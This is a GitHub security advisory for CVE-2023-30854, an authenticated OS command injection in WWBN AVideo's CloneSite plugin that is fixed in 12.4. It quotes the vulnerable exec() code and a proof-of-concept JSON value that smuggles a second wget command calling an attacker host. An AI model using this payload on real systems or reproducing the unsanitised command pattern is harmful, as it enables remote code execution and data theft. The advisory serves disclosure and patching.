Skip to content

Remote code injection in wwbn/avideo

High severity GitHub Reviewed Published Apr 27, 2023 in WWBN/AVideo • Updated Nov 4, 2023

Package

composer wwbn/avideo (Composer)

Affected versions

< 12.4

Patched versions

12.4

Description

WWBN Avideo Authenticated RCE - OS Command Injection

Description

An OS Command Injection vulnerability in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php allows attackers to achieve Remote Code Execution.

Vulnerable code:

$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

We can control $objClone->cloneSiteURL through the admin panel clone site feature.

/plugin/CloneSite/cloneClient.json.php sends a GET Request to {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. I hosted a specially crafted cloneServer.json.php that prints the following JSON data

{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]}

Send a GET Request to /plugin/CloneSite/cloneClient.json.php then remote code execution is achieved.

rce

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Apr 27, 2023
Published to the GitHub Advisory Database Apr 27, 2023
Reviewed Apr 27, 2023
Published by the National Vulnerability Database Apr 28, 2023
Last updated Nov 4, 2023

Severity

High
8.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2023-30854

GHSA ID

GHSA-6vrj-ph27-qfp3

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.